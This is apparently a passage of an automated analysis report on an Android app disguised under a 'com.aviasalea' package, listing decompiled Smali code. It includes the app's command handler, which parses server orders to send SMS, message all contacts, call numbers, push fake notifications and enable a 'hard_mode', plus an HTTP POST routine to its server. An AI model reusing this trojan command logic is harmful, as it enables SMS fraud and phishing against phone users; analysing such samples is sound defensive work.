                                      437iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      439invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$900(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      440move-result-object v12
                                      441if-eqz v12, :cond_31c
                                      442move-object/from16 v0, p0
                                      444iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      446invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$900(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      447move-result-object v12
                                      448const/high16 v13, -0x80000000
                                      450invoke-static {v2, v13}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      451move-result v13
                                      453invoke-virtual {v12, v6, v13}, Landroid/widget/FrameLayout;->measure(II)V
                                      454move-object/from16 v0, p0
                                      456iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      458invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$900(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      459move-result-object v12
                                      461invoke-virtual {v12}, Landroid/widget/FrameLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      462move-result-object v9
                                      463check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      464move-object/from16 v0, p0
                                      466iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      468invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$900(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/FrameLayout;
                                      469move-result-object v12
                                      471invoke-virtual {v12}, Landroid/widget/FrameLayout;->getMeasuredHeight()I
                                      472move-result v12
                                      473iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      474add-int/2addr v12, v13
                                      475iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      476add-int/2addr v12, v13
                                      477sub-int/2addr v2, v12
                                      478goto_2a6: move-object/from16 v0, p0
                                      480iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      482invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1000(Lcom/aviasalea/base/dialog/AlertDialog;)Lcom/aviasalea/base/dialog/LineProgressView;
                                      483move-result-object v12
                                      484if-eqz v12, :cond_1d3
                                      485move-object/from16 v0, p0
                                      487iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      489invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1000(Lcom/aviasalea/base/dialog/AlertDialog;)Lcom/aviasalea/base/dialog/LineProgressView;
                                      490move-result-object v12
                                      491const/high16 v13, 0x40800000 # 4.0f
                                      493invoke-static {v13}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      494move-result v13
                                      495const/high16 v14, 0x40000000 # 2.0f
                                      497invoke-static {v13, v14}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      498move-result v13
                                      500invoke-virtual {v12, v6, v13}, Lcom/aviasalea/base/dialog/LineProgressView;->measure(II)V
                                      501move-object/from16 v0, p0
                                      503iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      505invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1000(Lcom/aviasalea/base/dialog/AlertDialog;)Lcom/aviasalea/base/dialog/LineProgressView;
                                      506move-result-object v12
                                      508invoke-virtual {v12}, Lcom/aviasalea/base/dialog/LineProgressView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      509move-result-object v9
                                      510check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      511move-object/from16 v0, p0
                                      513iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      515invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1000(Lcom/aviasalea/base/dialog/AlertDialog;)Lcom/aviasalea/base/dialog/LineProgressView;
                                      516move-result-object v12
                                      518invoke-virtual {v12}, Lcom/aviasalea/base/dialog/LineProgressView;->getMeasuredHeight()I
                                      519move-result v12
                                      520iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      521add-int/2addr v12, v13
                                      522iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      523add-int/2addr v12, v13
                                      524sub-int/2addr v2, v12
                                      525move-object/from16 v0, p0
                                      527iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      529invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      530move-result-object v12
                                      531const/high16 v13, -0x80000000
                                      533invoke-static {v2, v13}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      534move-result v13
                                      536invoke-virtual {v12, v6, v13}, Landroid/widget/TextView;->measure(II)V
                                      537move-object/from16 v0, p0
                                      539iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      541invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      542move-result-object v12
                                      544invoke-virtual {v12}, Landroid/widget/TextView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      545move-result-object v9
                                      546check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      547move-object/from16 v0, p0
                                      549iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      551invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1100(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      552move-result-object v12
                                      554invoke-virtual {v12}, Landroid/widget/TextView;->getMeasuredHeight()I
                                      555move-result v12
                                      556iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      557add-int/2addr v12, v13
                                      558iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      559add-int/2addr v12, v13
                                      560sub-int/2addr v2, v12
                                      561goto/16 :goto_1d3
                                      562cond_31c: move-object/from16 v0, p0
                                      564iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      566invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      567move-result-object v12
                                      568if-eqz v12, :cond_2a6
                                      569move-object/from16 v0, p0
                                      571iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      573invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      574move-result-object v12
                                      575const/high16 v13, -0x80000000
                                      577invoke-static {v2, v13}, Landroid/view/View$MeasureSpec;->makeMeasureSpec(II)I
                                      578move-result v13
                                      580invoke-virtual {v12, v6, v13}, Landroid/widget/TextView;->measure(II)V
                                      581move-object/from16 v0, p0
                                      583iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      585invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      586move-result-object v12
                                      588invoke-virtual {v12}, Landroid/widget/TextView;->getVisibility()I
                                      589move-result v12
                                      590const/16 v13, 0x8
                                      591if-eq v12, v13, :cond_2a6
                                      592move-object/from16 v0, p0
                                      594iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      596invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      597move-result-object v12
                                      599invoke-virtual {v12}, Landroid/widget/TextView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
                                      600move-result-object v9
                                      601check-cast v9, Landroid/widget/LinearLayout$LayoutParams;
                                      602move-object/from16 v0, p0
                                      604iget-object v12, v0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      606invoke-static {v12}, Lcom/aviasalea/base/dialog/AlertDialog;->access$700(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/TextView;
                                      607move-result-object v12
                                      609invoke-virtual {v12}, Landroid/widget/TextView;->getMeasuredHeight()I
                                      610move-result v12
                                      611iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->bottomMargin:I
                                      612add-int/2addr v12, v13
                                      613iget v13, v9, Landroid/widget/LinearLayout$LayoutParams;->topMargin:I
                                      614add-int/2addr v12, v13
                                      615sub-int/2addr v2, v12
                                      616goto/16 :goto_2a6
                                      APIs
                                      • org.json.JSONObject.getString
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONException.toString
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONObject.getInt
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONObject.getInt
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONObject.getJSONArray
                                      • org.json.JSONArray.length
                                      • org.json.JSONArray.getJSONObject
                                      • org.json.JSONObject.getString
                                      • org.json.JSONObject.getString
                                      • java.util.List.add
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONObject.getString
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONObject.getString
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      • org.json.JSONObject.getString
                                      • java.lang.String.equalsIgnoreCase
                                      • org.json.JSONObject.getLong
                                      Strings
                                      • request
                                      • registration
                                      • rid
                                      • send_sms
                                      • number
                                      • message
                                      • slot
                                      • get_push
                                      • title
                                      • package
                                      • icon
                                      • tracker
                                      • sms_contact
                                      • objects
                                      • change_sms_client
                                      • status
                                      • hard_mode
                                      • call_number
                                      • start_access
                                      Position Instruction Meta Information
                                      0.param p1, "jsonObject" # Lorg/json/JSONObject;
                                      1.prologue
                                      2const/4 v8, 0x1
                                      3try_start_1:
                                      4const-string v5, "request"
                                      6invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      7move-result-object v5
                                      8iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      10iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      11if-nez v5, :cond_11
                                      12const/4 v5, 0x1
                                      13iput v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->ret:I
                                      14goto_10: return-void
                                      15cond_11:
                                      16iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      18const-string v6, "registration"
                                      20invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      21move-result v5
                                      22if-eqz v5, :cond_2f
                                      24const-string v5, "rid"
                                      26invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      27move-result-wide v6
                                      28iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      29try_end_23: goto/16 :goto_10
                                      30catch_24: move-exception v0
                                      31iput v8, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->ret:I
                                      33invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
                                      34move-result-object v5
                                      36invoke-static {v5}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      37goto/16 :goto_10
                                      38cond_2f:
                                      39iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      41const-string v6, "send_sms"
                                      43invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      44move-result v5
                                      45if-eqz v5, :cond_5a
                                      47const-string v5, "number"
                                      49invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      50move-result-object v5
                                      51iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->number:Ljava/lang/String;
                                      53const-string v5, "message"
                                      55invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      56move-result-object v5
                                      57iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->message:Ljava/lang/String;
                                      59const-string v5, "rid"
                                      61invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      62move-result-wide v6
                                      63iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      65const-string v5, "slot"
                                      67invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                                      68move-result v5
                                      69iput v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->slot:I
                                      70goto/16 :goto_10
                                      71cond_5a:
                                      72iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      74const-string v6, "get_push"
                                      76invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      77move-result v5
                                      78if-eqz v5, :cond_8d
                                      80const-string v5, "message"
                                      82invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      83move-result-object v5
                                      84iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->message:Ljava/lang/String;
                                      86const-string v5, "title"
                                      88invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      89move-result-object v5
                                      90iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->title:Ljava/lang/String;
                                      92const-string v5, "package"
                                      94invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      95move-result-object v5
                                      96iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->packageName:Ljava/lang/String;
                                      98const-string v5, "rid"
                                      100invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      101move-result-wide v6
                                      102iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      104const-string v5, "icon"
                                      106invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                                      107move-result v5
                                      108iput v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->icon:I
                                      109goto/16 :goto_10
                                      110cond_8d:
                                      111iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      113const-string v6, "tracker"
                                      115invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      116move-result v5
                                      117if-eqz v5, :cond_a1
                                      119const-string v5, "rid"
                                      121invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      122move-result-wide v6
                                      123iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      124goto/16 :goto_10
                                      125cond_a1:
                                      126iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      128const-string v6, "sms_contact"
                                      130invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      131move-result v5
                                      132if-eqz v5, :cond_df
                                      134const-string v5, "rid"
                                      136invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      137move-result-wide v6
                                      138iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      140const-string v5, "objects"
                                      142invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                      143move-result-object v4
                                      144if-eqz v4, :cond_10
                                      145const/4 v1, 0x0
                                      146goto_bc:
                                      147invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                                      148move-result v5
                                      149if-ge v1, v5, :cond_10
                                      151invoke-virtual {v4, v1}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                                      152move-result-object v3
                                      153new-instance v2, Lcom/aviasalea/srs/api/responses/HitGateResponse$Message;
                                      155const-string v5, "message"
                                      157invoke-virtual {v3, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      158move-result-object v5
                                      160const-string v6, "number"
                                      162invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      163move-result-object v6
                                      165invoke-direct {v2, v5, v6}, Lcom/aviasalea/srs/api/responses/HitGateResponse$Message;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                      167iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->messageList:Ljava/util/List;
                                      169invoke-interface {v5, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      170add-int/lit8 v1, v1, 0x1
                                      171goto/16 :goto_bc
                                      172cond_df:
                                      173iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      175const-string v6, "change_sms_client"
                                      177invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      178move-result v5
                                      179if-eqz v5, :cond_fb
                                      181const-string v5, "rid"
                                      183invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      184move-result-wide v6
                                      185iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      187const-string v5, "status"
                                      189invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      190move-result-object v5
                                      191iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->changeMSCl:Ljava/lang/String;
                                      192goto/16 :goto_10
                                      193cond_fb:
                                      194iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      196const-string v6, "hard_mode"
                                      198invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      199move-result v5
                                      200if-eqz v5, :cond_117
                                      202const-string v5, "rid"
                                      204invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      205move-result-wide v6
                                      206iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      208const-string v5, "status"
                                      210invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      211move-result-object v5
                                      212iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->hardMode:Ljava/lang/String;
                                      213goto/16 :goto_10
                                      214cond_117:
                                      215iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      217const-string v6, "call_number"
                                      219invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      220move-result v5
                                      221if-eqz v5, :cond_133
                                      223const-string v5, "rid"
                                      225invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      226move-result-wide v6
                                      227iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      229const-string v5, "number"
                                      231invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      232move-result-object v5
                                      233iput-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->phNumber:Ljava/lang/String;
                                      234goto/16 :goto_10
                                      235cond_133:
                                      236iget-object v5, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->request:Ljava/lang/String;
                                      238const-string v6, "start_access"
                                      240invoke-virtual {v5, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      241move-result v5
                                      242if-eqz v5, :cond_10
                                      244const-string v5, "rid"
                                      246invoke-virtual {p1, v5}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                                      247move-result-wide v6
                                      248iput-wide v6, p0, Lcom/aviasalea/srs/api/responses/HitGateResponse;->rid:J
                                      249try_end_145: goto/16 :goto_10
                                      Cross References
                                      APIs
                                      • java.io.OutputStream.close
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.net.HttpURLConnection.setRequestMethod
                                      • java.lang.String.valueOf
                                      • java.net.HttpURLConnection.setRequestProperty
                                      • java.net.HttpURLConnection.getOutputStream
                                      • java.io.OutputStream.write
                                      • java.net.HttpURLConnection.getResponseCode
                                      • java.net.HttpURLConnection.getInputStream
                                      • java.io.InputStreamReader.<init>
                                      • java.io.BufferedReader.<init>
                                      • java.lang.StringBuilder.<init>
                                      • java.io.BufferedReader.readLine
                                      • java.lang.StringBuilder.append
                                      • java.lang.Exception.printStackTrace
                                      • java.io.OutputStream.close
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.lang.StringBuilder.toString
                                      • java.io.OutputStream.close
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.OutputStream.close
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.OutputStream.close
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      • java.io.IOException.printStackTrace
                                      Strings
                                      • POST
                                      • Content-Length
                                      • UTF-8
                                      Position Instruction Meta Information
                                      0.param p1, "data" # [B
                                      1.prologue
                                      2const/4 v0, 0x0
                                      3const/4 v4, 0x0
                                      4const/4 v6, 0x0
                                      5try_start_3:
                                      6invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      7move-result-object v2
                                      8if-nez v2, :cond_2a
                                      10const-string v9, ""
                                      11try_end_b: if-eqz v6, :cond_10
                                      12try_start_d:
                                      13invoke-virtual {v6}, Ljava/io/OutputStream;->close()V
                                      14cond_10: if-eqz v0, :cond_15
                                      15try_start_12:
                                      16invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      17cond_15: if-eqz v4, :cond_1a
                                      18try_start_17:
                                      19invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                      20cond_1a: return-object v9
                                      21catch_1b: move-exception v3
                                      23invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      24goto/16 :goto_10
                                      25catch_20: move-exception v3
                                      27invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      28goto/16 :goto_15
                                      29catch_25: move-exception v3
                                      31invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      32goto/16 :goto_1a
                                      33try_start_2a:
                                      34const-string v9, "POST"
                                      36invoke-virtual {v2, v9}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                      38const-string v9, "Content-Length"
                                      39array-length v10, p1
                                      41invoke-static {v10}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                                      42move-result-object v10
                                      44invoke-virtual {v2, v9, v10}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                      46invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                      47move-result-object v6
                                      49invoke-virtual {v6, p1}, Ljava/io/OutputStream;->write([B)V
                                      51invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                      52move-result v7
                                      53const/16 v9, 0xc8
                                      54if-ne v7, v9, :cond_a3
                                      56invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                      57move-result-object v4
                                      58new-instance v1, Ljava/io/BufferedReader;
                                      59new-instance v9, Ljava/io/InputStreamReader;
                                      61const-string v10, "UTF-8"
                                      63invoke-direct {v9, v4, v10}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;Ljava/lang/String;)V
                                      65invoke-direct {v1, v9}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                      66try_end_58: const/4 v5, 0x0
                                      67try_start_59: new-instance v8, Ljava/lang/StringBuilder;
                                      69invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                      70goto_5e:
                                      71invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                      72move-result-object v5
                                      73if-eqz v5, :cond_7f
                                      75invoke-virtual {v8, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      76try_end_67: goto/16 :goto_5e
                                      77catch_68: move-exception v3
                                      78move-object v0, v1
                                      79goto_6a:
                                      80invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
                                      81try_end_6d: if-eqz v6, :cond_72
                                      82try_start_6f:
                                      83invoke-virtual {v6}, Ljava/io/OutputStream;->close()V
                                      84try_end_72: if-eqz v0, :cond_77
                                      85try_start_74:
                                      86invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      87try_end_77: if-eqz v4, :cond_7c
                                      88try_start_79:
                                      89invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                      90cond_7c:
                                      91const-string v9, ""
                                      92goto/16 :goto_1a
                                      93try_start_7f:
                                      94invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      95try_end_82: move-result-object v9
                                      96if-eqz v6, :cond_88
                                      97try_start_85:
                                      98invoke-virtual {v6}, Ljava/io/OutputStream;->close()V
                                      99goto_88: if-eqz v1, :cond_8d
                                      100try_start_8a:
                                      101invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                                      102cond_8d: if-eqz v4, :cond_92
                                      103try_start_8f:
                                      104invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                      105cond_92: move-object v0, v1
                                      106goto/16 :goto_1a
                                      107catch_94: move-exception v3
                                      109invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      110goto/16 :goto_88
                                      111catch_99: move-exception v3
                                      113invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      114goto/16 :goto_8d
                                      115catch_9e: move-exception v3
                                      117invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      118goto/16 :goto_92
                                      119cond_a3: if-eqz v6, :cond_a8
                                      120try_start_a5:
                                      121invoke-virtual {v6}, Ljava/io/OutputStream;->close()V
                                      122goto_a8: if-eqz v0, :cond_ad
                                      123try_start_aa:
                                      124invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      125goto_ad: if-eqz v4, :cond_7c
                                      126try_start_af:
                                      127invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                      128try_end_b2: goto/16 :goto_7c
                                      129catch_b3: move-exception v3
                                      131invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      132goto/16 :goto_7c
                                      133catch_b8: move-exception v3
                                      135invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      136goto/16 :goto_a8
                                      137catch_bd: move-exception v3
                                      139invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      140goto/16 :goto_ad
                                      141catch_c2: move-exception v3
                                      143invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      144goto/16 :goto_72
                                      145catch_c7: move-exception v3
                                      147invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V
                                      148goto/16 :goto_77
                                      149catch_cc: move-exception v3
